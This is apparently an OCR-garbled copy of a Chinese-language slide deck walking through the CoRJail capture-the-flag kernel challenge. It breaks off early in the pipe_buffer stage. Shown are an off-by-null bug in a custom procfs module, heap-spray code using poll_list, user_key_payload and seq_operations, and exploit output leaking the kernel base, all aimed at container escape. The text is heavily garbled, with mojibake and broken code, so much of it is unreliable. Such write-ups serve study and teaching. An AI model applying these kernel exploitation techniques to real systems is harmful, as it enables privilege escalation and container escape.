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Corjalil

Description

> %38 one null byte oob write B}z

Fi

A ZE container escape
> {FHAENHITIRIEE docker container HH

P

o

=11

5% docker ¥85%HY seccomp rule

@ ZZ | msgget £ msgsnd

@ BFF add_key £ keyctl



Corjalil
Environment
2 Linux-5.10.127

@ IEhRANETIE T 5% per-CPU syscall {#fi#ftzt » BEEHR T2 EERE

> BT R LIRRIRER kernel feature - io_uring B nftable

> B E RV (REHH] - KASLR, SMEP, SMAP, KPT!

® CONFIG_SLAB_FREELIST_{RANDOM,HARDENED} - 10 slab cache EX{SRatd

@ CONFIG_STATIC_USERMODEHELPER{, PATH} - disable modprobe_path g} & core_pattern



Corjalil
Kernel patch
> ¥ LA MERRIGHHMIZCN

@ arch/x86/entry/syscall_64.c

@ arch/x86/include/asm/syscall_wrapper.h
@ include/linux/syscalls.h

@ kernel/trace/trace_syscalls.c

> BREIRFIAFERMTERE > £EES FEHERE




Corjalil
Kernel patch - arch/x86/entry/syscall_64.c

> TEEE u64  per_cpu_syscall_count|[NR_syscalls] » FAZREC#ESZ1E syscall BINENYZR
2

Eiff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
-—— a/arch/x86/entry/syscall_64.c 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c 2022-07-02 12:34:11.237778657 +0200

@@ -17,6 +1/7,9 (@@
#define __SYSCALL_64(nr, sym) [nr] = __Xx64_##sym,

+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL (__per_cpu_syscall_count)
+

asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1l] = {
/*

* Smells like a compiler bug -- 1t doesn't work



Corjalil

Kernel patch - arch/x86/include/asm/syscall_wrapper.h

> FRARESESBEBEE syscall handler B macro SYSCALL_DEFINEO A B,
- SYSCALL DEFINEO

diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
-—— a/arch/x86/include/asm/syscall_wrapper.h 2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h 2022-07-02 12:34:11.237778657 +0200
@R -245,7 +245,7 @@
x SYSCALL_DEFINEx() —-—- which 1is essential for the COND_SYSCALL() and SYS_NI()
* macros to work correctly.

*/
-#define SYSCALL_DEFINEO (sname) \\
+#define __SYSCALL_DEFINEO(sname) \
SYSCALL_METADATA(_##sname, 0); \\
static long __do_sys_##sname(const struct pt_regs *__unused); \\

__X64_SYS_STUBO (sname) \



Corjalil

Kernel patch - include/linux/syscalls.

> #RAEARKER - £ syscall ZBi5G
array %2  per_cpu_syscall_count {f{{%.

» Z1& LA syscall number A index >

\

/4

:I:\

=

=117 CPU B9

¥} element #H0— >

fCF&R5% CPU Z#117 ¥ —ZRIE syscall

> EEZREQHFSHM kernel patch R EEILLINAE

\

diff -ruN a/include/Llinux/syscalls.h b/include/Llinux/syscalls.h

--- a/include/linux/syscalls.h 2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h 2022-07-02 12:34:11.237778657 +0200

@@ -82,6 +82,7 @@
#include <linux/key.h>
#include <linux/personality.h>
#include <trace/syscall.h>
+#include <asm/syscall.h>

#ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
/x

@@ -202,8 +203,8 @@
}

#endif

-#ifndef SYSCALL_DEFINE®

-#define SYSCALL_DEFINEO(sname) \

+#ifndef __SYSCALL _DEFINE®

+#define __SYSCALL_DEFINEO(sname) \
SYSCALL_METADATA(_##sname, 0); \
asmlinkage long sys_##sname(void); \
ALLOW_ERROR_INJECTION(sys_##sname, ERRNO) ; \

@@ -219,9 +220,41 @@
#define SYSCALL_DEFINE_MAXARGS 6

-#define SYSCALL_DEFINEx(x, sname, ...) \

= SYSCALL_METADATA(sname, x, __VA_ARGS__) \
__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);

+

+#define SYSCALL_COUNT_DECLAREx(sname, X, ...) \

+ static inline long __count_sys##sname(__MAP(x, __SC_DECL,
+

+#define __SYSCALL_COUNT(syscall_nr) \

__VA_ARGS__));

+ this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])

+

+#define SYSCALL_COUNT_FUNCx(sname, X, ...) \

+ { \
__SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr); \
return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__)); \

} \
static inline long __count_sys##sname(__MAP(x, __SC_DECL,

#define SYSCALL_COUNT_DECLAREO(sname) \
static inline long __count_sys_##sname(void);

#define SYSCALL_COUNT_FUNCO(sname) \

{ \
__SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);
return __count_sys_##sname(); \

ly \

static inline long __count_sys_##sname(void)

#define SYSCALL_DEFINEx(x, sname, ...)
SYSCALL_METADATA(sname, x, __VA_ARGS__)
SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS_
__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)

\

N

#define SYSCALL_DEFINE®(sname) \
SYSCALL_COUNT_DECLAREO(sname) \
__SYSCALL_DEFINE@O(sname) \

+ + + + + + + + + + A+ F At FFFEFEFEF

SYSCALL_COUNT_FUNCO (sname)

__VA_ARGS__))


https://lwn.net/Articles/896474/

Corjalil
Kernel patch - include/linux/syscalls.h

v/

> ¥ function get_syscall_name - Y15 syscall call &5

2 Export function syscall_nr_to_meta » {EE ] AR IMER{FEX

diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
-—-- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
return NULL;
}

-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)

{
if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))

return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@

return syscalls_metadata[nr];

}
+EXPORT_SYMBOL (syscall_nr_to_meta);

const char *get_syscall_name(int syscall)

{
@@ -122,6 +123,7 @@

return entry->name;

}
+EXPORT_SYMBOL (get_syscall_name);

10



Corjalil

Kernel module - Cormon

2 It kernel module = 7% procfs i —(&
[FOU=RELRIARET » 1 B thEesREE B F RIS

entry » 327 userspace & per-cpu syscall

I\

HEnlo
Y syscall B9121E » module {EH 7 —A

function table cormon_proc_ops 2K zIE

A
P R

@ cormon_proc_open

@ cormon_proc_write

__int64 init_ procfs()
{
unsigned int updated; // ebx
(&init_start);
if ( (
{
updated = update_filter(initial filter);
if ( updated )

return -22;
else

}

, 438LL, OLL, &cormon_proc_ops) )

(&init_complete);

cormon_ proc_ops dq
dqgq offset cormon proc open
dg offset
align
dq offset cormon proc write

11



Corjalil
Kernel module - Cormon

N OO O
o3 CId

2 cormon_proc_open > Bzl seq _open » A& seq_open AEIiZ= A struct
seq_operations cormon_seq_ops A2 » PALAZEEEEITFAPU{E function :

@ cormon_seg_start

__int64  fastcall cormon proc open(_

. {
@ cormon_sed_stop return (a2, cormon Seqops);
}

@ cormon_seg_next

@ cormon_seq_show

' cormon_seq ops dq offset cormon_seq start

dq offset cormon seq stop
dq offset cormon_ seq next

dq offset cormon seq show
dcmadbial £F2alTdhaew Al ! : » - e : .

12



Corjalil

Kernel module - Cormon

> BEIT43— | seq_operations » BE ERANIEEM pseudo file system MaFRiERIEHIE
IE > ./\\ BR L ELERERITAENFET

@ start - sets the iterator up and returns the first element of sequence

@ stop - shuts it down
@ next - returns the next element of sequence

@ show - prints element into the buftfer

1 struct seq operations {
void * (*start) (struct seq file *m, loff t *pos);

void (*stop) (struct seq file *m, void *v);

void * (*next) (struct seq file *m, void *v, loff t *pos);

int (*show) (struct seq file *m, void *V);

13



Corjalil

Kernel module - Cormon

)

> E2{5l|2kZ8 » ¥ /proc/cormon il sys_read > 7£ kernel 8 8 LA TRIMIEILRFZ ¢

L

do_syscall_64
ksys_read
vis_read
pde_read
seq_read

seq_read_lter

e @ © @ e @ e

cormon_seq_start --> cormon_seqg_show --> cormon_seqg_next --> cormon_seq_stop

14



Corjalil
Kernel module - Cormon

Fill:
while (1) {

size t offs = m->count;

ssize t seq read iter(struct kiocb *iocb, struct iov_iter *iter)

{

struct seq file *m = iocb->ki filp->private data;

size t copied = 0; loff t pos = m->index;

size t n;

p = m->op->next(m, p, &m->index); // <---- cormon_ seq next()
// iov_iter count(iter) == iter->count: f{FE read EFBEHIK/))

void *p;

int err = 0;
if (m->count >= iov_iter count(iter))

mutex_ lock (&m->lock) ; break;

// RNERIEEEBER—EFAY £d
if (iocb->ki pos == 0) {

err = m->op->show(m, p);

}

. m->op->stop (m ; // <--—-— cormon seq sto
m->index = 0; p p(m, p); _seq_stop()
n = copy to iter(m->buf, m->count, iter);
m->count = 0; . - =
copied += n;
m->count -= nj;

m->from = n;
if (!m->buf) // true

m->buf = seq buf alloc(m->size = PAGE SIZE);
- - Done:

iocb->ki pos += copied;
m->from = 0;

// FEMR p = am->index;
p = m->op->start(m, &m->index); // <---- cormon seq start()
while (1) {
err = m->op->show(m, p); // <---- cormon_seq_show()
//
if (!seq has overflowed(m)) // true
goto Fill;

m->read_pos += copied;
mutex unlock(&m->lock);

return copied;

//

15



Corjalil

Kernel module - Cormon

// [B{§ index pointer
// index ExZRAEZE] 441 (syscall #H=:) > BBLKRIER

__int64 *_ fastcall cormon_seq start(___int64 al, _ inté64 *index)

if ( *index > 441 )
return OLL;
else

return index;

// do nothing

void cormon seq stop()

// 1§ index++ 18 BB ELH ZEHHEF > Ii[E{E index pointer
QWORD * fastcall cormon_seq next(__int64 al, _ int64 a2, _QWORD

{
__int64 v3;

= (*index)++;

if (v3 > 441 )

return OLL;
else

return index;

16



Corjalil
Kernel module - Cormon

> cormon_seq_show ARRIE filter BB ABERNTERETE > ABHETREAIERINE
A buffer 8 » Z1&7F filter syscall list B[ syscall TEAE CPU ARIFIUAYRENAR E]
i

> NMESHLAER  EFIUAEMS

1 user@CoRJail:/tmp$ cat /proc rw/cormon

CPUO Syscall (NR)

134 sys poll (7)
0 sys fork (57)
SHZ sys_execve (59)
sys msgget (68)
sys msgsnd (69)
sys msgrcv (70)
sys ptrace (101)
sys setxattr (188)
sys keyctl (250)
sys _unshare (272)
Sys execvea t (322)

17



__int64 __ fastcall cormon_seq show(__int64 m, __ int64 *index)
{

__int64 idx; // rl2

unsigned int cpu_mask; // ebx

unsigned int cpu_id; // eax

const char *syscall name; // rl3

unsigned int _cpu mask; // ebx

unsigned int _cpu_id; // eax

idx = *index;
if ( !*index )
{
seq putc(m, '\n');
cpu _mask = -1;
while ( 1 )
{
// cpumask next() - get the next cpu in a cpumask
cpu_id = cpumask next(cpu mask, & cpu online mask);
cpu mask = cpu_id;
if ( cpu_id >= nr_cpu_ids )
break;
seq printf(m, "%9s%d", "CPU", cpu_id);
}
seq _printf(m, "\tSyscall (NR)\n\n");
}
if ( filter[idx] )
{
syscall name = get syscall name(idx);
if ( !syscall name )
return OLL;
_cpu_mask = -1;
while ( 1 )
{
_cpu_id = cpumask next(_cpu mask, & cpu online mask);
_cpu mask = cpu_ id;
if ( _cpu id >= nr cpu ids )
break;
seq printf(m, "%1011lu", *(& per cpu _syscall count[idx] + *(& per cpu offset + cpu id)));
}
seq printf(m, "\t%s (%11ld)\n", syscall name, idx);

}
if ( idx == 441 )

seq putc(m, '\n');

return OLL;

18



Corjalil

Kernel module - Cormon

9 IJ Ejl\“\n E/J/_\E Open aﬂ ‘/_\E E \ ’ I IE% A ,l __int64 _ fastcall cormon proc write( int64 al, _ int64 user input, unsigned __ int64 sz)

2 {

sa>KHY cormon_proc_write > [EEFER e

T ERIHE 7S |

if ( sz > 0x1000 )

l—

copy size = 4095LL;

else

> 1f size 2 4096 BFEZ#FES one null byte o ey eine - e

// (struct kmem cache *s, gfp t gfpflags, size t size)

- ++EJ iﬂ h E/J Yax'ay 1 1 b .I: 2 kern chk = kmem cache alloc trace(kmalloc caches[12], 0xA20LL, 0x1000LL);
OOb erte 2 J:%. I —F 5 CaC e N % ﬁ y e 3 printk(&dbg syscall no);

_check object size(kern chk, copy size, OLL);

> BFWBUCIRIEINE] container escape i Crrr——

if ( update filter(kern chk) )
{

kfree(kern chk);

return -22LL;

}

else

{
kfree(kern chk);

» PS. &7

)
HHO
a5
iy
R
YA
i
I
T
i
allk
,HO
o
H.--

return sz;

19



Corjalil
Kernel exploit background

> Slab - —IREAEC|ERE= M » HZ1E
page #HAX

» Cache - slab A&7 o fic & & A/
object M & ERV— &1l

2 Object - = [RHREFENER pages

physical

20



Corjalil

Kernel exploit background

struct slab {
unsigned long _ page flags;
union { 1 struct kmem cache {
struct list head slab list; 2 struct kmem cache_cpu __ percpu *cpu_slab;
slab flags t flags;
//
const char *name;

struct list head 1list;

struct rcu head rcu head;
}i
struct kmem cache *slab cache;
void *freelist; : :
! struct kobject kobij;
union {
unsigned long counters; 9 #ifdef CONFIG SLAB FREELIST HARDENED

struct { 10 unsigned long random;

unsigned inuse:16; 1 #endif

unsigned objects:15;

unsigned frozen:1; #ifdef CONFIG SLAB FREELIST RANDOM

unsigned int *random seq;
) B #endif
T | 16 //
unsigned int _ unused;

atomic t  page refcount;

21



Corjalil
Kernel exploit background

» CONFIG_SLAB_FREELIST_RANDOM - &1t object BIEXBIIERE

1 3
2 2
3 4

Before After
22



Corjalil
Kernel exploit background
» CONFIG_SLAB_FREELIST_RANDOM

if (!shuffle) { = F={FHH cache #¥Jig{EAFESER

start = fixup red left(s, start);

start = setup object(s, start);

slab->freelist = start;

for (idx = 0, p = start; idx < slab->objects — 1; idx++) { next = next freelist entry(s, slab, &pos, start, page limit
—— T s Ssize. freelist count);

next = setup object(s, next) Nes STUp ODJec —Ras

set_freepointer(s, cur, next);

set_freepointer(s, p, next); = = next:

P = next;
}
set_freepointer(s, p, NULL);

Before After

23



Corjalil
Kernel exploit background
» CONFIG_SLAB_FREELIST _HARDENED - iR 1%#l freelist B next pointer

® EENEISHECECIERERT - ZEYMET freelist pointer fHN%R » key A& per-cache random number LA K
T—1® chunk B9zt

@ & double free

1 static inline void *freelist ptr(const struct kmem cache *s, void *ptr,
2 unsigned long ptr addr)
3| {
I #ifdef CONFIG SLAB FREELIST HARDENED
return (void *)((unsigned long)ptr ° s->random *

swab((unsigned long)kasan_ reset tag((void *)ptr addr)));

unsigned long freeptr addr = (unsigned long)object + s->offset;

#ifdef CONFIG_SLAB FREELIST HARDENED
BUG _ON(object == fp); /#* naive detection of double free or corruption */ 7  #else

#endif 8 return ptr;
9 #endif
0 }

Double free check Encrypt pointer

24



Corjalil

Kernel exploit background

> E—RRIBR T » FAA kernel object & A [E]{E cache - kmem_cache

@ Y TE1E normal cache

@ /proc/slabinfo FHF kmalloc- prefix BIFL LAY

> YRFEERZEINE 2B cache » FL=EEB function kmem cache create 2RiEIT > [EAF,
E=HOT—E2THE

@ /proc/slabinfo A E 2 F8AY cache

2 kmalloc =56 L ¥ EXK/\BY normal cache » BAEFRENE —IR object A {FH

25



Corjalil
Kernel exploit background

static ... void *kmalloc(size t size, gfp t flags)

{
//

return _ kmalloc(size, flags);

void * kmalloc(size t size, gfp t flags)
{
struct kmem cache *s;
void *ret;
//
s = kmalloc slab(size, flags);
ret = slab alloc(s, NULL, flags, RET IP , size);

return ret;

struct kmem cache *kmalloc slab(size t size, gfp t flags)

{

unsigned int index;

if (size <= 192)

index = size index[size_ index elem(size)];

else

index fls(size - 1

kmalloc caches[kmalloc type(flags)][index];

26



Corjalil
Kernel exploit background

> el A EE(ER kmem_cache_alloc{, trace} 15§ E{EFHHY cache

» Normal cache —£ A 3 F&AK[G type (NORMAL, RRECLAIM, DMA) » &1E type X DX
14 FE&A G AN

> REEE{FA NORMAL type 958 13 @ cache » K/J\2& 0x1000 (4096)

14

char *kern_ chk;

e
if ( sz > 0x1000 )

printk(&dbg syscall no);

27



Corjalil
Exploit - TL;DR

> fE§E% Off-By-Null

> ZE struct poll_list object EViS{EEFERAY primitive
> FEIN struct user_key_payload HY15 oob read - 21t leak kernel address

> FZHX struct pipe_buffer IZEHIFZIVHTT

> #4T ROP BEAR container

28



$ Corijail

Exploit - Trigger Off-By-Nuli
> B&E% Off-By-Null

P =5 struct poll_list object EViS{EEFZINAY primitive

A=

P FZIN struct user_key_payload EY15 oob read » ££ILt5 leak kernel address

b FEJY struct pipe_buffer 1EHIFZXNHAT

b #4T ROP BEAR container

29



Corjalil
Exploit - Trigger Off-By-Nuli
» Open /proc_rw/cormon &2 A 4096 bytes B[ 7] i 2%

1 #define BUF _SIZE 4096
2 int main()
3 {
int fd;
char buf[BUF _SIZE];

memset (buf, 0, BUF SIZE);

fd = open("/proc rw/cormon", O RDWR);
write(fd, buf, BUF SIZE);

return 0;

30



$ Corijail

Exploit - Partial overwrite poll_list and arb-free

b fEE% Off-By-Null

> ZE5 struct poll_list object BYFEEFERRY primitive

P FZIN struct user_key payload EX1S oob read » #&li5 leak kernel address

b FEHX struct pipe_buffer #E#IFE R EN1T

b #4T ROP BEAR container

31



Corjalil
Exploit - Partial overwrite poll_list and arb-free

> sys poll FAZRERF fd B HEE4 > M struct poll_list BIIZ kernel FAZR 75 L5

> BFZTE function do_sys_poll() BIFE2EIZEE » THAEENES

struct pollfd {
int f£d;
short events;

struct poll list {

struct poll list *next;

int len;

struct pollfd entries[]; short revents;

> #IA sizeof(struct poll_list) 2 16 » {(EEPZE L poll_list.entries B A/NBI 2 EFHEE

ERHRE

32




Corjalil

Exploit - Partial overwrite poll_list and arb-free

#include <poll.h>
#include <fcntl.h>
#include <stdlib.h>

#include <unistd.h>

/ % %
int poll(struct pollfd *fds, nfds t nfds,
struct pollfd {
int fd; // file descriptor
short events; // requested events
short revents; // returned events
}i
*% )

#define NUM_FD 100

int main()

int £d;
struct pollfd *fds;

int ready;

int timeout);

fds = malloc(NUM FD * sizeof(struct pollfd));

for (int i = 0; i < NUM FD; i++) ({
fd = open("A", O _RDWR);
if (fd == -1)
exit(1);

fds->fd = f£d;
fds->events = POLLIN;

}
ready =fpoll(fds, NUM FD, 1);

return 0;

33
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Corjalil

Exploit - Partial overwrite poll_list and arb-free
» do_sys_poll ERIERFEEL(FA local buffer ZR{ZIX poll_list 4518 » &xZ 0] IATFH 30

[ fds

> i@ 30 A& 510 1

@ 16 - metadata

@ 8 - sizeof (struct pollfd)

> 3% N2RDA nfds = 100 &6+ » & do_sys_poll

fds Z&—1

BEAITER >

34

ReHYZEfE] A& 16 + 8 * number of fds

ﬁ&lu\ il(E/J}f' :I:



1 // nfds %Jfg%2] NUM FD - HIZ 100
static int do sys poll(struct pollfd  user *ufds, unsigned int nfds,

struct timespec64 *end time)

struct poll wqueues table;

int err = -EFAULT, fdcount, len;

long stack pps[POLL_STACK ALLOC/sizeof(long)];

struct poll list *const head = (struct poll list *)stack pps;
struct poll list *walk = head;

unsigned long todo = nfds; // 100

// stack pps & local buffer > K/J\ (N STACK PPS) & 30 o
// BE%ERY local buffer » ERIRMBEED knalloc HE s = Fc{EH local buffer
len = min t(unsigned int, nfds, N STACK PPS);
for (;;) {
walk->next = NULL;

walk->len = len;

copy_ from user(walk->entries, ufds + nfds-todo,
sizeof (struct pollfd) * walk->len);

// F—R 100 - 30 = 70

// B 70 - 70 = 0

todo -= walk->len;

if (!todo)

break;

// TEMEREINDBECER » HAPILAZEI—E page
// POLLFD PER PAGE = ((PAGE SIZE-sizeof(struct poll 1list)) / sizeof(struct pollfd))
// = ((0x1000-0x10) / 8) = 510
len = min(todo, POLLFD_ PER PAGE) ;
walk = walk->next = kmalloc(struct size(walk, entries, len),
GFP_KERNEL) ;

// polling EHZJ timeout

poll initwait(&table);
fdcount = do poll(head, &table, end time);
poll freewait(&table);

40  out fds:
41 //
42 |}

35



1 // nfds %J[€%] NUM FD: Ell& 100

static int do sys poll(struct pollfd  user *ufds, unsigned int nfds,

struct timespec64 *end time)

struct poll wqueues table;

int err = -EFAULT, fdcount, len;

long stack pps[POLL_STACK ALLOC/sizeof(long)];

struct poll list *const head = (struct poll list *)stack pps;
struct poll list *walk = head;

unsigned long todo = nfds; // 100

// stack pps & local buffer > K/J\ (N STACK PPS) & 30
// EBENS(EALS local buffer » ERIAZIEEEE kmalloc DT
len = min t(unsigned int, nfds, N _STACK PPS);
for (;7) {

walk->next = NULL;

walk->len = len;

copy_ from user(walk->entries, ufds + nfds-todo,
sizeof (struct pollfd) * walk->len);

// F—R 100 - 30 = 70

// B 70 - 70 = 0

todo -= walk->len;

if (!todo)

break;

// TEMEEEINDEZER - RRABLAZRI—E page
// POLLFD PER PAGE ((PAGE_SIZE-sizeof(struct poll list)) / sizeof(struct pollfd))
// ((0x1000-0x10) / 8) = 510

len = min(todo, POLLFD PER PAGE); E?@ 30 fds ‘gﬁgﬁgl\ﬁﬂagFﬂﬂ ] Z:i@_

walk = walk->next = kmalloc(struct size(walk, entries, len),

B —— KA REER 510 fds (—1E page K/Jv)

// polling EHZJ timeout
poll initwait(&table);
fdcount = do poll(head, &table, end time);
poll freewait(&table);

out fds:
//
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static int do sys poll(struct pollfd user *ufds, unsigned int nfds,

struct timespec64 *end time)

struct poll wqueues table;

int err = -EFAULT, fdcount, len;

long stack pps[POLL_STACK ALLOC/sizeof(long)];

struct poll list *const head = (struct poll list *)stack pps;
struct poll list *walk = head;

unsigned long todo = nfds; // 100

// stack pps & local buffer > K/J\ (N STACK PPS) & 30
// EBESF(EALL local buffer » EEAHWZEEE kmalloc L
len = min t(unsigned int, nfds, N _STACK PPS);
for (;7) {

walk->next = NULL;

walk->len = len;

copy_ from user(walk->entries, ufds + nfds-todo,
sizeof (struct pollfd) * walk->len);

// F—R 100 - 30 = 70

// B 70 - 70 = 0

todo -= walk->len;

if (!todo)

break;

// TEMEREINDBECER » HAPILAZEI—E page
// POLLFD PER PAGE = ((PAGE SIZE-sizeof(struct poll 1list)) / sizeof(struct pollfd))
// = ((0x1000-0x10) / 8) = 510
len = min(todo, POLLFD_ PER PAGE) ;
walk = walk->next = kmalloc(struct size(walk, entries, len),
GFP_KERNEL) ;

// polling HZ| timeout = == 0 yu-
poll initwait(&table); i‘EFﬁ %*EEH?I FEﬂ ﬁE
fdcount = do poll(head, &table, end time); @ %, m
poll freewait(&table); E%B I = *& E
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static int do sys poll(...)

{
i Gac

out fds:
walk = head->next;

while (walk) { IFREIZI Z 12 EEFE linked list >
struct poll list *pos = walk; .
P d 2R poll_list &518

walk = walk->next;

kfree(pos);

return err;
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Corjalil

Exploit - Partial overwrite poll_list and arb-free

b 48457CZE 5 struct poll_list 123t

@ kmalloc-32 %l kmalloc-4k BYEE &

- walily

@ poll_list.next 15M@IALEERSEIZI T TR > RS E] Pl 2

@ poll_list.next ¥85x$5/0] NULL » {8

entry 8K/ \EBi@ 510 BFRiE 5[0 F—1# poll_list

p BIR . 15 list.next I5@EH T1E

poll_list ft§ partial overwrite » {FE 5[0 5 —{1

1‘EH cache RI4E1E » MEEMMEIA BRHIRIESEIX
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cormon object

o Pr e

poll_list

poll_list

kmalloc-4k kmalloc-XX
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: NULL
cormon object

NULL

poll_list

poll_list

kmalloc-4k kmalloc-XX
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CRASH !!

: ??7??
cormon object

Victim

poll_list

poll_list

kmalloc-4k kmalloc-XX
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$ Corijail

Exploit - Use user_key payload to leak kernel address

b fEE% Off-By-Null

P =5 struct poll_list object BFEEFERAY primitive

> FEIX struct user_key_payload HX7F oob read - #£1Lt leak kernel address

b FEHX struct pipe_buffer #E#IFE R EN1T

p #1T ROP BB container
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Corjalil

Exploit - Use user_key payload to leak kernel address

N

> 3THA kernel exploit F)% unlink attack {EAZIRY struct simple_xattr » A& —1
& list_head > FTLAUSHHEF A

> add_key Ei keyctl @& system call &7 seccomp FIH R E £ E]

@ Linux kernel key management {7 M {[E syscall 2K57I& key DA & #E{E key

> add_key HUNFILRFE -
@ do_syscall_64
@ key_create_or_update

@ user_preparse
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Corjalil

Exploit - Use user_key payload to leak kernel address

> add_key [RB@ D HEC45HE user_key payload » FAREIE key B E B A/

> #ZA sizeof (struct user_key_payload) A 24 » {BER poll_list B9 2483T » B S HEK
INEGRREFRHZE B ARNZE]

struct user key payload ({

struct rcu head rcu; // RCU destructor

unsigned short datalen; // length of this data

char data[]  aligned(_ alignof (u64)); // actual data

> | };

7 #define rcu head callback head
8 struct callback head {
struct callback head *next;
void (*func) (struct callback head *head);

__attribute ((aligned(sizeof(void *))));
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Corjalil

Exploit - Use user_key payload to leak kernel address

1 int user preparse(struct key preparsed payload *prep)

struct user key payload *upayload;

size t datalen = prep->datalen; 1%%%;§%Uj(d\

// 32767 == 0x7fff
if (datalen <= 0 || datalen > 32767 || !prep->data)

return -EINVAL;

upayload = kmalloc(sizeof (*upayload) + datalen, GFP_ KERNEL);
prep->quotalen = datalen;
prep->payload.data[0] = upayload;

payvload->datalen datalen;
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Corjalil
Exploit - Use user_key payload to leak kernel address
b Lb45tsANRL 8 data[ ] R LAE® sys_keyctl 328HY » FALABER 2K leak kernel address

> $EFEREFEIVA] 8 bytes #ZAR struct callback_head * » RiBFER S A ET(ERTIZA
£ » PRARIREEFERZE=ZIRY chunk [IZfE] 8 bytes /= NULL » ] BAEA victim

b iR RERRIE O] LABE S setxattr £ » EA cache LIFO B9#Hl > KL setxattr 125452
ERLFERN{E » user_key payload MR B = EEEZ3Z chunk
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Corjalil
Exploit - Use user_key payload to leak kernel address

1 static long
2 setxattr(struct dentry *d, const char _ user *name, const void __ user *value

size t size, int flags)

int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX A

//
error = strncpy from user(kname, name, sizeof(kname));
//
if (size) {
// XATTR SIZE MAX = 65536
if (size > XATTR SIZE MAX)
return -E2BIG;

// DB 0~65536 EFRA/NRIZER] - HABAIE _ .
kvalue = kvmalloc(size, GFP_KERNEL); *?E%U?_éi% chunk E"J_é;'lhl- ’ H%‘

Hi 8 bytes %4 0

copy from user(kvalue, value, size);

}
//

// Ex1E¥EMNEZ chunk
// BEMEBHEE userfaultfd {FF > IRTERJEEFSHC FUSE 2

kvfree(kvalue);

return error;
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$ Corjail

Exploit - Use user_key payload to leak kernel address

00000000
Freed

87878787
Freed

00000000

user_key_payloa

00000000000000

00000000000000

— — —

setxattr _ free _ add_key
poll_list poll_list

kmalloc-32
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Corjalil

Exploit - Use user_key payload to leak kernel address

> BIf LIRS FEIRIBNEBRIEMINER » EEMmEERIA—T

@ sched_setaffinity / pthread_setaffinity_np -

BISEHA cpu LBI% TIE

@ Drain - {1 null byte %I 1F7£{F

e

cache #5FH555E » slab manager

@ Polling thread - &% poll

o) mt—

> FiE null byte BOFIFEE T

=% task hang 1

& 5 R4S

B HY

]

J

TG0 Bc—1REz)F R slab

A E6E 55 M —£E thread 2RIE

XA per-cpu cache » EIBAEENG B

50

'] sys_poll

Ry object » BII&@ &Y kernel panic » EItb5EAS B BT (EE




: NULL
cormon object

user_key_payloa

d

NULL

poll_list
poll_list

kmalloc-4k kmalloc-32
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cormon object

kmalloc-4k

52

(Freed)

user_key_payloa
d

poll_list

kmalloc-32

NULL



Corjalil
Exploit - Use user_key payload to leak kernel address

> 1z NIREZEHM object ZZ|LIRED
e IR

@ 1% user_key payload.datalen Z 0 XAV1E » &7 8EE]] data

Bhe » M Z type confusion » il B It object EEAE

@ Offset 0x18 Ui ILEEEHR kernel binary address » TR leak IZE 4

@ [EIERZEAFE kmalloc-32

> 1S4EERE object 45185 struct seq_operation
SV ARR=ZR “/proc/self/stat” | seuce seq operations

N

void * (*start) (struct seq file *m, loff t *pos);

void (*stop) (struct seq file *m, void *v);

void * (*next) (struct seq file *m, void *v, loff t *pos);

int (*show) (struct seq file *m, void *v);
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cormon object

kmalloc-4k

54

(Freed)
user_key_payloa
d

poll_list

kmalloc-32



EiliSqubs

cormon object

user_key_payloa
d

seg_operation

poll_list

kmalloc-4k kmalloc-32
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$ Corijail

Exploit - Use user_key payload to leak kernel address

01~08 .start = single_start() rcu.next

.next = single_next() rcu.func

.stop = single_stop()| datalen (2 bytes)
.show =
proc_single_show( ) datal |

56
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Corjalil
Exploit - Use user_key payload to leak kernel address

:/tmpS$ . /test
== exploit start - ——————--- ]
[+] initialize...
[*] squeeze dry kmalloc-32 with seq_operation
[*] spray user_key_payload in kmalloc-32 to get new slab
[*] create polling thread
thread 0 start

thread 1 start
thread 2 start
thread 3 start
thread 4 start
thread 5 start
thread 6 start
thread 7 start
thread 8 start
thread 9 start
thread 10 start
thread 11 start
thread 12 start

thread 13 start

[*] spray more user_key_payload in kmalloc-32
[*x] trigger null byte oob write
[*] join polling thread

thread 0 end

thread end

thread end

thread end

thread end

thread end

thread end

thread end

thread end

cooy L1 NN W PHA N

thread
thread
thread
thread
thread

12 end
11 end
10 end
9 end

13 end

[*] spray seq_operation to make type confusion
[*x] try to leak kern address success !
[+] kern_base: Oxffffffff2fo00000
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Corjalil
Exploit - Use user_key payload to leak kernel address
p 2t IN leak kernel base address » A8 AEBFXREAFZ I » KR REF2%FE -

i
D

D

|{s£ FH#AY object
|EFZ1XAY object

5528 object - kB

i
s

D

D

7.|

@ setxattr B2 add_key BY chunk K[ » user_key_payload.next JF NULL

@ seq_operation )28 £Z2[E)1R

> Spray HIREBEE S B exploit IHEEHERE - RAEEEN (AIRER ?)

e}
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$ Corijail

Exploit - Control execution flow by pipe_buffer

b &5 Off-By-Null

P =5 struct poll_list object BUSEEFZLNAY primitive

b FEIN struct user_key payload EY15§ oob read » £#£1t5 leak kernel address

